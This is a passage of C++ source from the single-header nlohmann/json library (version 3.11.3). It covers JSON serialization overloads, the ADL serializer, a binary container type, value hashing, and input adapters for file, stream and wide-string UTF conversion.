(std::is_same<std::vector<bool>::const_reference, BoolRef>::value\n                && !std::is_same <detail::uncvref_t<std::vector<bool>::const_reference>,\n                typename BasicJsonType::boolean_t >::value))\n        && std::is_convertible<const BoolRef&, typename BasicJsonType::boolean_t>::value, int > = 0 >\n    inline void to_json(BasicJsonType& j, const BoolRef& b) noexcept\n    {\n        external_constructor<value_t::boolean>::construct(j, static_cast<typename BasicJsonType::boolean_t>(b));\n    }\n\n    template<typename BasicJsonType, typename CompatibleString,\n        enable_if_t<std::is_constructible<typename BasicJsonType::string_t, CompatibleString>::value, int> = 0>\n    inline void to_json(BasicJsonType& j, const CompatibleString& s)\n    {\n        external_constructor<value_t::string>::construct(j, s);\n    }\n\n    template<typename BasicJsonType>\n    inline void to_json(BasicJsonType& j, typename BasicJsonType::string_t&& s)\n    {\n        external_constructor<value_t::string>::construct(j, std::move(s));\n    }\n\n    template<typename BasicJsonType, typename FloatType,\n        enable_if_t<std::is_floating_point<FloatType>::value, int> = 0>\n    inline void to_json(BasicJsonType& j, FloatType val) noexcept\n    {\n        external_constructor<value_t::number_float>::construct(j, static_cast<typename BasicJsonType::number_float_t>(val));\n    }\n\n    template<typename BasicJsonType, typename CompatibleNumberUnsignedType,\n        enable_if_t<is_compatible_integer_type<typename BasicJsonType::number_unsigned_t, CompatibleNumberUnsignedType>::value, int> = 0>\n    inline void to_json(BasicJsonType& j, CompatibleNumberUnsignedType val) noexcept\n    {\n        external_constructor<value_t::number_unsigned>::construct(j, static_cast<typename BasicJsonType::number_unsigned_t>(val));\n    }\n\n    template<typename BasicJsonType, typename CompatibleNumberIntegerType,\n        enable_if_t<is_compatible_integer_type<typename BasicJsonType::number_integer_t, CompatibleNumberIntegerType>::value, int> = 0>\n    inline void to_json(BasicJsonType& j, CompatibleNumberIntegerType val) noexcept\n    {\n        external_constructor<value_t::number_integer>::construct(j, static_cast<typename BasicJsonType::number_integer_t>(val));\n    }\n\n#if !JSON_DISABLE_ENUM_SERIALIZATION\n    template<typename BasicJsonType, typename EnumType,\n        enable_if_t<std::is_enum<EnumType>::value, int> = 0>\n    inline void to_json(BasicJsonType& j, EnumType e) noexcept\n    {\n        using underlying_type = typename std::underlying_type<EnumType>::type;\n        external_constructor<value_t::number_integer>::construct(j, static_cast<underlying_type>(e));\n    }\n#endif  // JSON_DISABLE_ENUM_SERIALIZATION\n\n    template<typename BasicJsonType>\n    inline void to_json(BasicJsonType& j, const std::vector<bool>& e)\n    {\n        external_constructor<value_t::array>::construct(j, e);\n    }\n\n    template < typename BasicJsonType, typename CompatibleArrayType,\n        enable_if_t < is_compatible_array_type<BasicJsonType,\n        CompatibleArrayType>::value &&\n        !is_compatible_object_type<BasicJsonType, CompatibleArrayType>::value &&\n        !is_compatible_string_type<BasicJsonType, CompatibleArrayType>::value &&\n        !std::is_same<typename BasicJsonType::binary_t, CompatibleArrayType>::value &&\n        !is_basic_json<CompatibleArrayType>::value,\n        int > = 0 >\n    inline void to_json(BasicJsonType& j, const CompatibleArrayType& arr)\n    {\n        external_constructor<value_t::array>::construct(j, arr);\n    }\n\n    template<typename BasicJsonType>\n    inline void to_json(BasicJsonType& j, const typename BasicJsonType::binary_t& bin)\n    {\n        external_constructor<value_t::binary>::construct(j, bin);\n    }\n\n    template<typename BasicJsonType, typename T,\n        enable_if_t<std::is_convertible<T, BasicJsonType>::value, int> = 0>\n    inline void to_json(BasicJsonType& j, const std::valarray<T>& arr)\n    {\n        external_constructor<value_t::array>::construct(j, std::move(arr));\n    }\n\n    template<typename BasicJsonType>\n    inline void to_json(BasicJsonType& j, typename BasicJsonType::array_t&& arr)\n    {\n        external_constructor<value_t::array>::construct(j, std::move(arr));\n    }\n\n    template < typename BasicJsonType, typename CompatibleObjectType,\n        enable_if_t < is_compatible_object_type<BasicJsonType, CompatibleObjectType>::value && !is_basic_json<CompatibleObjectType>::value, int > = 0 >\n    inline void to_json(BasicJsonType& j, const CompatibleObjectType& obj)\n    {\n        external_constructor<value_t::object>::construct(j, obj);\n    }\n\n    template<typename BasicJsonType>\n    inline void to_json(BasicJsonType& j, typename BasicJsonType::object_t&& obj)\n    {\n        external_constructor<value_t::object>::construct(j, std::move(obj));\n    }\n\n    template <\n        typename BasicJsonType, typename T, std::size_t N,\n        enable_if_t < !std::is_constructible<typename BasicJsonType::string_t,\n        const T(&)[N]>::value, // NOLINT(cppcoreguidelines-avoid-c-arrays,hicpp-avoid-c-arrays,modernize-avoid-c-arrays)\n        int > = 0 >\n    inline void to_json(BasicJsonType& j, const T(&arr)[N]) // NOLINT(cppcoreguidelines-avoid-c-arrays,hicpp-avoid-c-arrays,modernize-avoid-c-arrays)\n    {\n        external_constructor<value_t::array>::construct(j, arr);\n    }\n\n    template < typename BasicJsonType, typename T1, typename T2, enable_if_t < std::is_constructible<BasicJsonType, T1>::value&& std::is_constructible<BasicJsonType, T2>::value, int > = 0 >\n    inline void to_json(BasicJsonType& j, const std::pair<T1, T2>& p)\n    {\n        j = { p.first, p.second };\n    }\n\n    // for https://github.com/nlohmann/json/pull/1134\n    template<typename BasicJsonType, typename T,\n        enable_if_t<std::is_same<T, iteration_proxy_value<typename BasicJsonType::iterator>>::value, int> = 0>\n    inline void to_json(BasicJsonType& j, const T& b)\n    {\n        j = { {b.key(), b.value()} };\n    }\n\n    template<typename BasicJsonType, typename Tuple, std::size_t... Idx>\n    inline void to_json_tuple_impl(BasicJsonType& j, const Tuple& t, index_sequence<Idx...> /*unused*/)\n    {\n        j = { std::get<Idx>(t)... };\n    }\n\n    template<typename BasicJsonType, typename T, enable_if_t<is_constructible_tuple<BasicJsonType, T>::value, int > = 0>\n    inline void to_json(BasicJsonType& j, const T& t)\n    {\n        to_json_tuple_impl(j, t, make_index_sequence<std::tuple_size<T>::value> {});\n    }\n\n#if JSON_HAS_FILESYSTEM || JSON_HAS_EXPERIMENTAL_FILESYSTEM\n    template<typename BasicJsonType>\n    inline void to_json(BasicJsonType& j, const std_fs::path& p)\n    {\n        j = p.string();\n    }\n#endif\n\n    struct to_json_fn\n    {\n        template<typename BasicJsonType, typename T>\n        auto operator()(BasicJsonType& j, T&& val) const noexcept(noexcept(to_json(j, std::forward<T>(val))))\n            -> decltype(to_json(j, std::forward<T>(val)), void())\n        {\n            return to_json(j, std::forward<T>(val));\n        }\n    };\n}  // namespace detail\n\n#ifndef JSON_HAS_CPP_17\n/// namespace to hold default `to_json` function\n/// to see why this is required:\n/// http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2015/n4381.html\nnamespace // NOLINT(cert-dcl59-cpp,fuchsia-header-anon-namespaces,google-build-namespaces)\n{\n#endif\n    JSON_INLINE_VARIABLE constexpr const auto& to_json = // NOLINT(misc-definitions-in-headers)\n        detail::static_const<detail::to_json_fn>::value;\n#ifndef JSON_HAS_CPP_17\n}  // namespace\n#endif\n\nNLOHMANN_JSON_NAMESPACE_END\n\n// #include <nlohmann/detail/meta/identity_tag.hpp>\n\n\nNLOHMANN_JSON_NAMESPACE_BEGIN\n\n/// @sa https://json.nlohmann.me/api/adl_serializer/\ntemplate<typename ValueType, typename>\nstruct adl_serializer\n{\n    /// @brief convert a JSON value to any value type\n    /// @sa https://json.nlohmann.me/api/adl_serializer/from_json/\n    template<typename BasicJsonType, typename TargetType = ValueType>\n    static auto from_json(BasicJsonType&& j, TargetType& val) noexcept(\n        noexcept(::nlohmann::from_json(std::forward<BasicJsonType>(j), val)))\n        -> decltype(::nlohmann::from_json(std::forward<BasicJsonType>(j), val), void())\n    {\n        ::nlohmann::from_json(std::forward<BasicJsonType>(j), val);\n    }\n\n    /// @brief convert a JSON value to any value type\n    /// @sa https://json.nlohmann.me/api/adl_serializer/from_json/\n    template<typename BasicJsonType, typename TargetType = ValueType>\n    static auto from_json(BasicJsonType&& j) noexcept(\n        noexcept(::nlohmann::from_json(std::forward<BasicJsonType>(j), detail::identity_tag<TargetType> {})))\n        -> decltype(::nlohmann::from_json(std::forward<BasicJsonType>(j), detail::identity_tag<TargetType> {}))\n    {\n        return ::nlohmann::from_json(std::forward<BasicJsonType>(j), detail::identity_tag<TargetType> {});\n    }\n\n    /// @brief convert any value type to a JSON value\n    /// @sa https://json.nlohmann.me/api/adl_serializer/to_json/\n    template<typename BasicJsonType, typename TargetType = ValueType>\n    static auto to_json(BasicJsonType& j, TargetType&& val) noexcept(\n        noexcept(::nlohmann::to_json(j, std::forward<TargetType>(val))))\n        -> decltype(::nlohmann::to_json(j, std::forward<TargetType>(val)), void())\n    {\n        ::nlohmann::to_json(j, std::forward<TargetType>(val));\n    }\n};\n\nNLOHMANN_JSON_NAMESPACE_END\n\n// #include <nlohmann/byte_container_with_subtype.hpp>\n//     __ _____ _____ _____\n//  __|  |   __|     |   | |  JSON for Modern C++\n// |  |  |__   |  |  | | | |  version 3.11.3\n// |_____|_____|_____|_|___|  https://github.com/nlohmann/json\n//\n// SPDX-FileCopyrightText: 2013-2023 Niels Lohmann <https://nlohmann.me>\n// SPDX-License-Identifier: MIT\n\n\n\n#include <cstdint> // uint8_t, uint64_t\n#include <tuple> // tie\n#include <utility> // move\n\n// #include <nlohmann/detail/abi_macros.hpp>\n\n\nNLOHMANN_JSON_NAMESPACE_BEGIN\n\n/// @brief an internal type for a backed binary type\n/// @sa https://json.nlohmann.me/api/byte_container_with_subtype/\ntemplate<typename BinaryType>\nclass byte_container_with_subtype : public BinaryType\n{\npublic:\n    using container_type = BinaryType;\n    using subtype_type = std::uint64_t;\n\n    /// @sa https://json.nlohmann.me/api/byte_container_with_subtype/byte_container_with_subtype/\n    byte_container_with_subtype() noexcept(noexcept(container_type()))\n        : container_type()\n    {\n    }\n\n    /// @sa https://json.nlohmann.me/api/byte_container_with_subtype/byte_container_with_subtype/\n    byte_container_with_subtype(const container_type& b) noexcept(noexcept(container_type(b)))\n        : container_type(b)\n    {\n    }\n\n    /// @sa https://json.nlohmann.me/api/byte_container_with_subtype/byte_container_with_subtype/\n    byte_container_with_subtype(container_type&& b) noexcept(noexcept(container_type(std::move(b))))\n        : container_type(std::move(b))\n    {\n    }\n\n    /// @sa https://json.nlohmann.me/api/byte_container_with_subtype/byte_container_with_subtype/\n    byte_container_with_subtype(const container_type& b, subtype_type subtype_) noexcept(noexcept(container_type(b)))\n        : container_type(b)\n        , m_subtype(subtype_)\n        , m_has_subtype(true)\n    {\n    }\n\n    /// @sa https://json.nlohmann.me/api/byte_container_with_subtype/byte_container_with_subtype/\n    byte_container_with_subtype(container_type&& b, subtype_type subtype_) noexcept(noexcept(container_type(std::move(b))))\n        : container_type(std::move(b))\n        , m_subtype(subtype_)\n        , m_has_subtype(true)\n    {\n    }\n\n    bool operator==(const byte_container_with_subtype& rhs) const\n    {\n        return std::tie(static_cast<const BinaryType&>(*this), m_subtype, m_has_subtype) ==\n            std::tie(static_cast<const BinaryType&>(rhs), rhs.m_subtype, rhs.m_has_subtype);\n    }\n\n    bool operator!=(const byte_container_with_subtype& rhs) const\n    {\n        return !(rhs == *this);\n    }\n\n    /// @brief sets the binary subtype\n    /// @sa https://json.nlohmann.me/api/byte_container_with_subtype/set_subtype/\n    void set_subtype(subtype_type subtype_) noexcept\n    {\n        m_subtype = subtype_;\n        m_has_subtype = true;\n    }\n\n    /// @brief return the binary subtype\n    /// @sa https://json.nlohmann.me/api/byte_container_with_subtype/subtype/\n    constexpr subtype_type subtype() const noexcept\n    {\n        return m_has_subtype ? m_subtype : static_cast<subtype_type>(-1);\n    }\n\n    /// @brief return whether the value has a subtype\n    /// @sa https://json.nlohmann.me/api/byte_container_with_subtype/has_subtype/\n    constexpr bool has_subtype() const noexcept\n    {\n        return m_has_subtype;\n    }\n\n    /// @brief clears the binary subtype\n    /// @sa https://json.nlohmann.me/api/byte_container_with_subtype/clear_subtype/\n    void clear_subtype() noexcept\n    {\n        m_subtype = 0;\n        m_has_subtype = false;\n    }\n\nprivate:\n    subtype_type m_subtype = 0;\n    bool m_has_subtype = false;\n};\n\nNLOHMANN_JSON_NAMESPACE_END\n\n// #include <nlohmann/detail/conversions/from_json.hpp>\n\n// #include <nlohmann/detail/conversions/to_json.hpp>\n\n// #include <nlohmann/detail/exceptions.hpp>\n\n// #include <nlohmann/detail/hash.hpp>\n//     __ _____ _____ _____\n//  __|  |   __|     |   | |  JSON for Modern C++\n// |  |  |__   |  |  | | | |  version 3.11.3\n// |_____|_____|_____|_|___|  https://github.com/nlohmann/json\n//\n// SPDX-FileCopyrightText: 2013-2023 Niels Lohmann <https://nlohmann.me>\n// SPDX-License-Identifier: MIT\n\n\n\n#include <cstdint> // uint8_t\n#include <cstddef> // size_t\n#include <functional> // hash\n\n// #include <nlohmann/detail/abi_macros.hpp>\n\n// #include <nlohmann/detail/value_t.hpp>\n\n\nNLOHMANN_JSON_NAMESPACE_BEGIN\nnamespace detail\n{\n\n    // boost::hash_combine\n    inline std::size_t combine(std::size_t seed, std::size_t h) noexcept\n    {\n        seed ^= h + 0x9e3779b9 + (seed << 6U) + (seed >> 2U);\n        return seed;\n    }\n\n    /*!\n    @brief hash a JSON value\n\n    The hash function tries to rely on std::hash where possible. Furthermore, the\n    type of the JSON value is taken into account to have different hash values for\n    null, 0, 0U, and false, etc.\n\n    @tparam BasicJsonType basic_json specialization\n    @param j JSON value to hash\n    @return hash value of j\n    */\n    template<typename BasicJsonType>\n    std::size_t hash(const BasicJsonType& j)\n    {\n        using string_t = typename BasicJsonType::string_t;\n        using number_integer_t = typename BasicJsonType::number_integer_t;\n        using number_unsigned_t = typename BasicJsonType::number_unsigned_t;\n        using number_float_t = typename BasicJsonType::number_float_t;\n\n        const auto type = static_cast<std::size_t>(j.type());\n        switch (j.type())\n        {\n        case BasicJsonType::value_t::null:\n        case BasicJsonType::value_t::discarded:\n        {\n            return combine(type, 0);\n        }\n\n        case BasicJsonType::value_t::object:\n        {\n            auto seed = combine(type, j.size());\n            for (const auto& element : j.items())\n            {\n                const auto h = std::hash<string_t>{}(element.key());\n                seed = combine(seed, h);\n                seed = combine(seed, hash(element.value()));\n            }\n            return seed;\n        }\n\n        case BasicJsonType::value_t::array:\n        {\n            auto seed = combine(type, j.size());\n            for (const auto& element : j)\n            {\n                seed = combine(seed, hash(element));\n            }\n            return seed;\n        }\n\n        case BasicJsonType::value_t::string:\n        {\n            const auto h = std::hash<string_t>{}(j.template get_ref<const string_t&>());\n            return combine(type, h);\n        }\n\n        case BasicJsonType::value_t::boolean:\n        {\n            const auto h = std::hash<bool>{}(j.template get<bool>());\n            return combine(type, h);\n        }\n\n        case BasicJsonType::value_t::number_integer:\n        {\n            const auto h = std::hash<number_integer_t>{}(j.template get<number_integer_t>());\n            return combine(type, h);\n        }\n\n        case BasicJsonType::value_t::number_unsigned:\n        {\n            const auto h = std::hash<number_unsigned_t>{}(j.template get<number_unsigned_t>());\n            return combine(type, h);\n        }\n\n        case BasicJsonType::value_t::number_float:\n        {\n            const auto h = std::hash<number_float_t>{}(j.template get<number_float_t>());\n            return combine(type, h);\n        }\n\n        case BasicJsonType::value_t::binary:\n        {\n            auto seed = combine(type, j.get_binary().size());\n            const auto h = std::hash<bool>{}(j.get_binary().has_subtype());\n            seed = combine(seed, h);\n            seed = combine(seed, static_cast<std::size_t>(j.get_binary().subtype()));\n            for (const auto byte : j.get_binary())\n            {\n                seed = combine(seed, std::hash<std::uint8_t> {}(byte));\n            }\n            return seed;\n        }\n\n        default:                   // LCOV_EXCL_LINE\n            JSON_ASSERT(false); // NOLINT(cert-dcl03-c,hicpp-static-assert,misc-static-assert) LCOV_EXCL_LINE\n            return 0;              // LCOV_EXCL_LINE\n        }\n    }\n\n}  // namespace detail\nNLOHMANN_JSON_NAMESPACE_END\n\n// #include <nlohmann/detail/input/binary_reader.hpp>\n//     __ _____ _____ _____\n//  __|  |   __|     |   | |  JSON for Modern C++\n// |  |  |__   |  |  | | | |  version 3.11.3\n// |_____|_____|_____|_|___|  https://github.com/nlohmann/json\n//\n// SPDX-FileCopyrightText: 2013-2023 Niels Lohmann <https://nlohmann.me>\n// SPDX-License-Identifier: MIT\n\n\n\n#include <algorithm> // generate_n\n#include <array> // array\n#include <cmath> // ldexp\n#include <cstddef> // size_t\n#include <cstdint> // uint8_t, uint16_t, uint32_t, uint64_t\n#include <cstdio> // snprintf\n#include <cstring> // memcpy\n#include <iterator> // back_inserter\n#include <limits> // numeric_limits\n#include <string> // char_traits, string\n#include <utility> // make_pair, move\n#include <vector> // vector\n\n// #include <nlohmann/detail/exceptions.hpp>\n\n// #include <nlohmann/detail/input/input_adapters.hpp>\n//     __ _____ _____ _____\n//  __|  |   __|     |   | |  JSON for Modern C++\n// |  |  |__   |  |  | | | |  version 3.11.3\n// |_____|_____|_____|_|___|  https://github.com/nlohmann/json\n//\n// SPDX-FileCopyrightText: 2013-2023 Niels Lohmann <https://nlohmann.me>\n// SPDX-License-Identifier: MIT\n\n\n\n#include <array> // array\n#include <cstddef> // size_t\n#include <cstring> // strlen\n#include <iterator> // begin, end, iterator_traits, random_access_iterator_tag, distance, next\n#include <memory> // shared_ptr, make_shared, addressof\n#include <numeric> // accumulate\n#include <string> // string, char_traits\n#include <type_traits> // enable_if, is_base_of, is_pointer, is_integral, remove_pointer\n#include <utility> // pair, declval\n\n#ifndef JSON_NO_IO\n#include <cstdio>   // FILE *\n#include <istream>  // istream\n#endif                  // JSON_NO_IO\n\n// #include <nlohmann/detail/iterators/iterator_traits.hpp>\n\n// #include <nlohmann/detail/macro_scope.hpp>\n\n// #include <nlohmann/detail/meta/type_traits.hpp>\n\n\nNLOHMANN_JSON_NAMESPACE_BEGIN\nnamespace detail\n{\n\n    /// the supported input formats\n    enum class input_format_t { json, cbor, msgpack, ubjson, bson, bjdata };\n\n    ////////////////////\n    // input adapters //\n    ////////////////////\n\n#ifndef JSON_NO_IO\n/*!\nInput adapter for stdio file access. This adapter read only 1 byte and do not use any\n buffer. This adapter is a very low level adapter.\n*/\n    class file_input_adapter\n    {\n    public:\n        using char_type = char;\n\n        JSON_HEDLEY_NON_NULL(2)\n            explicit file_input_adapter(std::FILE* f) noexcept\n            : m_file(f)\n        {\n            JSON_ASSERT(m_file != nullptr);\n        }\n\n        // make class move-only\n        file_input_adapter(const file_input_adapter&) = delete;\n        file_input_adapter(file_input_adapter&&) noexcept = default;\n        file_input_adapter& operator=(const file_input_adapter&) = delete;\n        file_input_adapter& operator=(file_input_adapter&&) = delete;\n        ~file_input_adapter() = default;\n\n        std::char_traits<char>::int_type get_character() noexcept\n        {\n            return std::fgetc(m_file);\n        }\n\n    private:\n        /// the file pointer to read from\n        std::FILE* m_file;\n    };\n\n    /*!\n    Input adapter for a (caching) istream. Ignores a UFT Byte Order Mark at\n    beginning of input. Does not support changing the underlying std::streambuf\n    in mid-input. Maintains underlying std::istream and std::streambuf to support\n    subsequent use of standard std::istream operations to process any input\n    characters following those used in parsing the JSON input.  Clears the\n    std::istream flags; any input errors (e.g., EOF) will be detected by the first\n    subsequent call for input from the std::istream.\n    */\n    class input_stream_adapter\n    {\n    public:\n        using char_type = char;\n\n        ~input_stream_adapter()\n        {\n            // clear stream flags; we use underlying streambuf I/O, do not\n            // maintain ifstream flags, except eof\n            if (is != nullptr)\n            {\n                is->clear(is->rdstate() & std::ios::eofbit);\n            }\n        }\n\n        explicit input_stream_adapter(std::istream& i)\n            : is(&i), sb(i.rdbuf())\n        {\n        }\n\n        // delete because of pointer members\n        input_stream_adapter(const input_stream_adapter&) = delete;\n        input_stream_adapter& operator=(input_stream_adapter&) = delete;\n        input_stream_adapter& operator=(input_stream_adapter&&) = delete;\n\n        input_stream_adapter(input_stream_adapter&& rhs) noexcept\n            : is(rhs.is), sb(rhs.sb)\n        {\n            rhs.is = nullptr;\n            rhs.sb = nullptr;\n        }\n\n        // std::istream/std::streambuf use std::char_traits<char>::to_int_type, to\n        // ensure that std::char_traits<char>::eof() and the character 0xFF do not\n        // end up as the same value, e.g. 0xFFFFFFFF.\n        std::char_traits<char>::int_type get_character()\n        {\n            auto res = sb->sbumpc();\n            // set eof manually, as we don't use the istream interface.\n            if (JSON_HEDLEY_UNLIKELY(res == std::char_traits<char>::eof()))\n            {\n                is->clear(is->rdstate() | std::ios::eofbit);\n            }\n            return res;\n        }\n\n    private:\n        /// the associated input stream\n        std::istream* is = nullptr;\n        std::streambuf* sb = nullptr;\n    };\n#endif  // JSON_NO_IO\n\n    // General-purpose iterator-based adapter. It might not be as fast as\n    // theoretically possible for some containers, but it is extremely versatile.\n    template<typename IteratorType>\n    class iterator_input_adapter\n    {\n    public:\n        using char_type = typename std::iterator_traits<IteratorType>::value_type;\n\n        iterator_input_adapter(IteratorType first, IteratorType last)\n            : current(std::move(first)), end(std::move(last))\n        {\n        }\n\n        typename char_traits<char_type>::int_type get_character()\n        {\n            if (JSON_HEDLEY_LIKELY(current != end))\n            {\n                auto result = char_traits<char_type>::to_int_type(*current);\n                std::advance(current, 1);\n                return result;\n            }\n\n            return char_traits<char_type>::eof();\n        }\n\n    private:\n        IteratorType current;\n        IteratorType end;\n\n        template<typename BaseInputAdapter, size_t T>\n        friend struct wide_string_input_helper;\n\n        bool empty() const\n        {\n            return current == end;\n        }\n    };\n\n    template<typename BaseInputAdapter, size_t T>\n    struct wide_string_input_helper;\n\n    template<typename BaseInputAdapter>\n    struct wide_string_input_helper<BaseInputAdapter, 4>\n    {\n        // UTF-32\n        static void fill_buffer(BaseInputAdapter& input,\n            std::array<std::char_traits<char>::int_type, 4>& utf8_bytes,\n            size_t& utf8_bytes_index,\n            size_t& utf8_bytes_filled)\n        {\n            utf8_bytes_index = 0;\n\n            if (JSON_HEDLEY_UNLIKELY(input.empty()))\n            {\n                utf8_bytes[0] = std::char_traits<char>::eof();\n                utf8_bytes_filled = 1;\n            }\n            else\n            {\n                // get the current character\n                const auto wc = input.get_character();\n\n                // UTF-32 to UTF-8 encoding\n                if (wc < 0x80)\n                {\n                    utf8_bytes[0] = static_cast<std::char_traits<char>::int_type>(wc);\n                    utf8_bytes_filled = 1;\n                }\n                else if (wc <= 0x7FF)\n                {\n                    utf8_bytes[0] = static_cast<std::char_traits<char>::int_type>(0xC0u | ((static_cast<unsigned int>(wc) >> 6u) & 0x1Fu));\n                    utf8_bytes[1] = static_cast<std::char_traits<char>::int_type>(0x80u | (static_cast<unsigned int>(wc) & 0x3Fu));\n                    utf8_bytes_filled = 2;\n                }\n                else if (wc <= 0xFFFF)\n                {\n                    utf8_bytes[0] = static_cast<std::char_traits<char>::int_type>(0xE0u | ((static_cast<unsigned int>(wc) >> 12u) & 0x0Fu));\n                    utf8_bytes[1] = static_cast<std::char_traits<char>::int_type>(0x80u | ((static_cast<unsigned int>(wc) >> 6u) & 0x3Fu));\n                    utf8_bytes[2] = static_cast<std::char_traits<char>::int_type>(0x80u | (static_cast<unsigned int>(wc) & 0x3Fu));\n                    utf8_bytes_filled = 3;\n                }\n                else if (wc <= 0x10FFFF)\n                {\n                    utf8_bytes[0] = static_cast<std::char_traits<char>::int_type>(0xF0u | ((static_cast<unsigned int>(wc) >> 18u) & 0x07u));\n                    utf8_bytes[1] = static_cast<std::char_traits<char>::int_type>(0x80u | ((static_cast<unsigned int>(wc) >> 12u) & 0x3Fu));\n                    utf8_bytes[2] = static_cast<std::char_traits<char>::int_type>(0x80u | ((static_cast<unsigned int>(wc) >> 6u) & 0x3Fu));\n                    utf8_bytes[3] = static_cast<std::char_traits<char>::int_type>(0x80u | (static_cast<unsigned int>(wc) & 0x3Fu));\n                    utf8_bytes_filled = 4;\n                }\n                else\n                {\n                    // unknown character\n                    utf8_bytes[0] = static_cast<std::char_traits<char>::int_type>(wc);\n                    utf8_bytes_filled = 1;\n                }\n            }\n        }\n    };\n\n    template<typename BaseInputAdapter>\n    struct wide_string_input_helper<BaseInputAdapter, 2>\n    {\n        // UTF-16\n        static void fill_buffer(BaseInputAdapter& input,\n            std::array<std::char_traits<char>::int_type, 4>& utf8_bytes,\n            size_t& utf8_bytes_index,\n            size_t& utf8_bytes_filled)\n        {\n            utf8_bytes_index = 0;\n\n            if (JSON_HEDLEY_UNLIKELY(input.empty()))\n            {\n                utf8_bytes[0] = std::char_traits<char>::eof();\n                utf8_bytes_filled = 1;\n            }\n            else\n            {\n                // get the current character\n                const auto wc = input.get_character();\n\n                // UTF-16 to UTF-8 encoding\n                if (wc < 0x80)\n                {\n                    utf8_bytes[0] = static_cast<std::char_traits<char>::int_type>(wc);\n                    utf8_bytes_filled = 1;\n                }\n                else if (wc <= 0x7FF)\n                {\n                    utf8_bytes[0] = static_cast<std::char_traits<char>::int_type>(0xC0u | ((static_cast<unsigned int>(wc) >> 6u)));\n                    utf8_bytes[1] = static_cast<std::char_traits<char>::int_type>(0x80u | (static_cast<unsigned int>(wc) & 0x3Fu));\n                    utf8_bytes_filled = 2;\n                }\n                else if (0xD800 > wc || wc >= 0xE000)\n                {\n                    utf8_bytes[0] = static_cast<std::char_traits<char>::int_type>(0xE0u | ((static_cast<unsigned int>(wc) >> 12u)));\n                    utf8_bytes[1] = static_cast<std::char_traits<char>::int_type>(0x80u | ((static_cast<unsigned int>(wc) >> 6u) & 0x3Fu));\n                    utf8_bytes[2] = static_cast<std::char_traits<char>::int_type>(0x80u | (static_cast<unsigned int>(wc) & 0x3Fu));\n                    utf8_bytes_filled = 3;\n                }\n                else\n                {\n                    if (JSON_HEDLEY_UNLIKELY(!input.empty()))\n                    {\n                        const auto wc2 = static_cast<unsigned int>(input.get_character());\n                        const auto charcode = 0x10000u + (((static_cast<unsigned int>(wc) & 0x3FFu) << 10u) | (wc2 & 0x3FFu));\n                        utf8_bytes[0] = static_cast<std::char_traits<char>::int_type>(0xF0u | (charcode >> 18u));\n                        utf8_bytes[1] = static_cast<std::char_traits<char>::int_type>(0x80u | ((charcode >> 12u) & 0x3Fu));\n                        utf8_bytes[2] = static_cast<std::char_traits<char>::int_type>(0x80u | ((charcode >> 6u) & 0x3Fu));\n                        utf8_bytes[3] = static_cast<std::char_traits<char>::int_type>(0x80u | (charcode & 0x3Fu));\n                        utf8_bytes_filled = 4;\n                    }\n                    else\n                    {\n                        utf8_bytes[0] = static_cast<std::char_traits<char>::int_type>(wc);\n                        utf8_bytes_filled = 1;\n                    }\n                }\n            }\n        }\n    };\n\n    // Wraps another input adapter to convert wide character types into individual bytes.\n    template<typename BaseInputAdapter, typename WideCharType>\n    class wide_string_input_adapter\n    {\n    public:\n        using char_type = char;\n\n        wide_string_input_adapter(BaseInputAdapter base)\n            : base_adapter(base) {\n        }\n\n        typename std::char_traits<char>::int_type get_character() noexcept\n        {\n            // check if buffer needs to be filled\n            if (utf8_bytes_index == utf8_bytes_filled)\n            {\n                fill_buffer<sizeof(WideCharType)>();\n\n                JSON_ASSERT(utf8_bytes_filled > 0);\n                JSON_ASSERT(utf8_bytes_index == 0);\n            }\n\n            // use buffer\n            JSON_ASSERT(utf8_bytes_filled > 0);\n            JSON_ASSERT(utf8_bytes_index < utf8_bytes_filled);\n            return utf8_bytes[utf8_bytes_index++];\n        }\n\n    private:\n        BaseInputAdapter base_adapter;\n\n        template<size_t T>\n        void fill_buffer()\n        {\n            wide_string_input_helper<BaseInputAdapter, T>::fill_buffer(base_adapter, utf8_bytes, utf8_bytes_index, utf8_bytes_filled);\n        }\n\n        /// a buffer for UTF-8 bytes\n        std::array<std::char_traits<char>::int_type, 4> utf8_bytes = { {0, 0, 0, 0} };\n\n        /// index to the utf8_codes array for the next valid byte\n        std::size_t utf8_bytes_index = 0;\n        /// number of valid bytes in the utf8_codes array\n        std::size_t utf8_bytes_filled = 0;\n    };\n\n    template<typename IteratorType, typename Enable = void>\n    struct iterator_input_adapter_factory\n    {\n        using iterator_type = IteratorType;\n        using char_type = typename std::iterator_traits<iterator_type>::value_type;\n        using adapter_type = iterator_input_adapter<iterator_type>;\n\n        static adapter_type create(IteratorType first, IteratorType last)\n        {\n            return adapter_type(std::move(first), std::move(last));\n        }\n    };\n\n    template<typename T>\n    struct is_iterator_of_multibyte\n    {\n        using value_type = typename std::iterator_traits<T>::value_type;\n        enum\n        {\n            value = sizeof(value_type) > 1\n        };\n    };\n\n    template<typename IteratorType>\n    struct iterator_input_adapter_factory<IteratorType, enable_if_t<is_iterator_of_multibyte<IteratorType>::value>>\n    {\n        using iterator_type = IteratorType;\n        using char_type = typename std::iterator_traits<iterator_type>::value_type;\n        using base_adapter_type = iterator_input_adapter<iterator_type>;\n        using adapter_type = wide_string_input_adapter<base_adapter_type, char_type>;\n\n        static adapter_type create(IteratorType first, IteratorType last)\n        {\n            return adapter_type(base_adapter_type(std::move(first), std::move(last)));\n        }\n    };\n\n    // General purpose iterator-based input\n    template<typename IteratorType>\n    typename iterator_input_adapter_factory<IteratorType>::adapter_type input_adapter(IteratorType first, IteratorType last)\n    {\n        using factory_type = iterator_input_adapter_factory<IteratorType>;\n        return factory_type::create(first, last);\n    }\n\n    // Convenience shorthand from container to iterator\n    // Enables ADL on begin(container) and end(container)\n    // Encloses the using declarations in namespace for not to leak them to outside scope\n\n    namespace container_input_adapter_factory_impl\n    {\n\n        using std::begin;\n        using std::end;\n\n        template<typename ContainerType, typename Enable = void>\n        struct container_input_adapter_factory {};\n\n        template<typename ContainerType>\n        struct container_input_adapter_factory< ContainerType,\n            void_t<decltype(begin(std::declval<ContainerType>()), end(std::declval<ContainerType>()))>>\n        {\n            using adapter_type = decltype(input_adapter(begin(std::declval<ContainerType>()), end(std::declval<ContainerType>())));\n\n            static adapter_type create(const ContainerType& container)\n            {\n                return input_adapter(begin(container), end(container));\n            }\n        };\n\n    }  // namespace container_input_adapter_factory_impl\n\n    template<typename ContainerType>\n    typename container_input_adapter_factory_impl::container_input_adapter_factory<ContainerType>::adapter_type input_adapter(const ContainerType& container)\n    {\n        return 